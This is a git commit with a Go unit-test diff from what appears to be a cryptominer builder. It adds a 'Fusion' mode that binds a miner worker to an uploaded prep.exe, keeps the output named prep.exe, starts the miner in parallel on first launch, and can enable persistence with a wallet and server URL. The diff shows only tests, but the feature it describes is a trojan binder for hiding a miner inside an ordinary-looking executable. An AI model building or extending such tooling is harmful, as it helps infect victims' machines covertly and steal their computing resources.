Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
drjones
2026-05-27 00:28:32 -07:00
parent ea519e9a9f
commit 6db9a33a20
9 changed files with 411 additions and 34 deletions

View File

@@ -34,9 +34,9 @@ func TestNormalizeRequestRequiresWallet(t *testing.T) {
func TestNormalizeRequestPersistence(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc-1",
ServerURL: "http://192.168.1.10:8989",
Wallet: "48abc",
WorkerName: "pc-1",
ServerURL: "http://192.168.1.10:8989",
Wallet: "48abc",
Persistence: true,
}
if err := h.normalizeRequest(req); err != nil {
@@ -46,3 +46,28 @@ func TestNormalizeRequestPersistence(t *testing.T) {
t.Fatal("persistence should enable auto start")
}
}
func TestNormalizeRequestFusion(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc-1",
ServerURL: "http://192.168.1.10:8989",
Wallet: "48abc",
FusionEnabled: true,
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if req.FusionOutputName != "prep.exe" {
t.Fatalf("expected prep.exe output, got %s", req.FusionOutputName)
}
if req.FusionRunOrder != "parallel" {
t.Fatalf("expected parallel order, got %s", req.FusionRunOrder)
}
}
func TestNormalizeFusionOrder(t *testing.T) {
if got := normalizeFusionOrder("PREP_FIRST"); got != "prep_first" {
t.Fatalf("unexpected order: %s", got)
}
}